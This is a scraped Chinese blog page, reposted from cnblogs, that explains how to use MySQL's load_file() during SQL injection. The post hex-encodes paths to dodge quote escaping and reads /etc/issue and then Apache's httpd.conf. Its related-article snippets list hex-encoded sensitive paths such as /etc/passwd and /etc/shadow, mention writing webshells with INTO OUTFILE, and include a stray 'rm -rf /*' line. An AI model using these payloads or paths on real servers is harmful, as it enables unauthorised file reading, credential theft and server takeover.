linux 通过 mysql 的 load_file 来找 apache 网站首页目录

最新推荐文章于 2021-02-06 23:52:41 发布

weixin_30455365

最新推荐文章于 2021-02-06 23:52:41 发布

阅读量122

点赞数

CC 4.0 BY-SA版权

文章标签：数据库

原文链接：http://www.cnblogs.com/mujj/articles/2023722.html

本文介绍如何利用Loadfile功能获取Linux系统版本信息及Apache Web配置路径。通过十六进制编码路径，可以读取文件如/etc/issue来确定运行中的系统版本，并进一步查找Apache配置文件的具体位置。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

通过前提是有loadfile的权限啦，当然单引号自然是被转义了的，所以路径必须用十六进制或者ascii码编码了。

先通过：/etc/issue，来看系统版本（路径已经16进制写的）：

load_file(0x2F6574632F6973737565)

得到：

Red Hat Enterprise Linux Server release 5.1 (Tikanga) Kernel

然后搜下这个版本的 apache web 默认路径：

/etc/httpd/conf/httpd.conf

再次 loadfile 啦：

load_file(0x2F6574632F68747470642F636F6E662F68747470642E636F6E66)

转载于:https://www.cnblogs.com/mujj/articles/2023722.html

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

weixin_30455365

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

MySQL注入load_file常用路径

rm -rf /*

10-21

1387

MySQL注入攻击中LOAD_FILE()函数在Windows和Linux系统中可能使用的文件路径，以及相关的注意事项和防御措施。希望这些信息能够帮助您更好地理解和防范MySQL注入攻击。

[01] SQL注入漏洞解析：如何利用LOAD_FILE()和SELECT INTO OUTFILE读取与写入服务器文件[webshell] 超详细文章

最新发布

浩策盾悟

02-20

1万+

SQL注入漏洞的两种常见利用方式：SQL读取文件漏洞和SQL写入文件漏洞。攻击者可通过特定的SQL函数（如LOAD_FILE()）读取服务器文件，甚至通过注入恶意SQL语句写入Web Shell，进而控制目标系统。文章详细说明了漏洞利用的条件、检测方法及防护建议

参与评论您还未登录，请先登录后发表或查看评论

MySQL使用LOAD_FILE()函数方法总结

09-09

在本篇文章里小编给大家分享了关于MySQL使用LOAD_FILE()函数方法和相关知识点，需要的朋友们学习下。

Linux mysql load_file常用路径

linux/unix

09-10

2561

/etc/passwd 0x2F6574632F706173737764 /etc/shadow 0x2F6574632F736861646F77 /etc/issue 0x2F6574632F6973737565 /etc/fstab 0x2F6574632F6673746162 /etc/host.conf 0x2F6574632F686F73742E636F6E66 /etc/mo

mysql infile ignore_mysql导入数据load data infile用法（转）

weixin_39762441的博客

01-27

522

我的文章一般浅显易懂，不会搞那么深入让大家很难理解。(其实我水平也不咋样)LOAD DATA INFILE 一直被认为是MySQL很强大的一个数据导入工具，因为他速度非常的快。不过有几个问题一定要注意1、编码。2、灵活导入导出。我来举两个例子说明一下。一、关于编码我们的示例文本文件："我爱你","20","相貌平常，经常耍流氓！哈哈""李奎","21","相貌平常，经常耍流氓！哈哈""王二米","...

LINUX下MYSQL的load_file常用路径

0ffs3t

11-20

1260

/etc/passwd 0x2F6574632F706173737764 /etc/shadow 0x2F6574632F736861646F77 /etc/issue 0x2F6574632F6973737565 /etc/fstab 0x2F6574632F6673746162 /etc/host.conf 0x2F6574632F686F73742E636F6E66 /etc/motd

mysql导出部分数据到文件+获取mysql不同文件在linux的路径+linux下载文件到本地

chenjiashu_csdn的博客

01-09

469

#mysql导出部分数据到文件+获取mysql不同文件在linux的路径+linux下载文件到本地 ##步骤1：mysql导出部分数据到文件参考：https://www.runoob.com/mysql/mysql-database-export.html （1）sqlyog执行sql：SELECT * FROM product_info WHERE product_channel=1 INTO...

MYSQL注入中load_file()函数的进一步应用.pdf

09-30

根据提供的文件片段内容，我们可以看出这是一篇关于在MYSQL注入攻击中如何进一步利用load_file()函数的文章。load_file()是一个MySQL数据库中的函数，它允许读取服务器上的文件并返回文件内容作为字符串。在某些情况...

load_file() 常用敏感信息.txt

07-18

根据给定文件的信息，我们可以梳理出与`load_file()`函数相关的敏感信息及系统配置路径，主要涉及了在不同操作系统下的文件路径以及通过SQL注入时如何利用`load_file()`函数读取这些敏感文件。 ### `load_file()`...

load_file()函数在MYSQL注入中的深度挖掘与权限提升

在MySQL注入攻击中，load_file()函数扮演了一个关键的角色，特别是在获取Webshell和提升权限的过程中。这个函数的主要功能是允许脚本读取并执行文件内容，这对于攻击者来说是一个强大的工具，因为他们可以利用它来...

杂七杂八的敏感文件注释<持续更新帖>

weixin_30641999的博客

05-14

146

============敏感文件读取================ WINDOWS下: c:/boot.ini //查看系统版本 c:/windows/php.ini //php配置信息 c:/windows/my.ini //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码 c:/winnt/php.ini c:/winnt...

利用Mysql root帐号获取某Linux操作系统网站webshell

weixin_44023460的博客

12-08

2630

利用Mysql root帐号获取某Linux操作系统网站webshell simeon 获取Webshell，网上有很多文章，本文是phpMyAdmin漏洞利用与防范专题中的一个研究课题，其主要环境是在有Mysql数据库root帐号密码权限的基础下，如何通过技术手段获取Linux操作系统上建立的网站系统的webshell权限。 1.漏洞利用思路 1.1Mysql root帐号密码获取思路（1）通...

mysql outfile 绝对路径_MySQL load_file()/into outfile路径问题总结

weixin_39645308的博客

01-18

599

MySQL load_file()/into outfile路径问题总结本文来源：http://space.baidu.com/hackerxwar/blog/item/0436c9ffd0d04b4cd7887db3.html简单翻译整理http://www.milw0rm.com/papers/372关于MySQL into outfile的条件很多人都总结过1.web服务与MySQL运行在同...

linux mysql load_file语句_mysql用LOAD DATA INFILE导入数据

weixin_42511512的博客

02-06

727

使用以下语句导入数据LOADDATAINFILE'/home/jason/st_stock.txt'INTOTABLEst_stockFIELDSTERMINATEDBY','OPTIONALLYENCLOSEDBY'\"';一开始以为是没把文件放在mysql的临时目录下，于是使用以下命令查看mysql的临时目录mysql>showvariableslike...

Mysql的loadfile()常见用法

weixin_34212189的博客

12-19

487

1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” ...

Linux下查看MySQL的安装路径

zishuijing2的专栏

09-01

575

Linux下查看MySQL的安装路径 Linux下查看mysql、apache是否安装,并卸载。指令 ps -ef|grep mysql 得出结果 1.root 17659 1 0 2011 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --

load_file经常读的一些敏感文件

weixin_34253539的博客

08-10

272

MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件，如： /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 /usr/local/apache2/conf/httpd.conf /usr/local/app/apache2/conf/ex...

Mysql注入load_file常用路径

Fly_鹏程万里

05-09

1628

WINDOWS下:c:/boot.ini //查看系统版本 c:/windows/php.ini //php配置信息 c:/windows/my.ini //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码 c:/winnt/php.ini c:/winnt/my.ini c:\mysql\data\mysql\user.MYD//存储了mysql.user表中的数据库连接密码 c:\...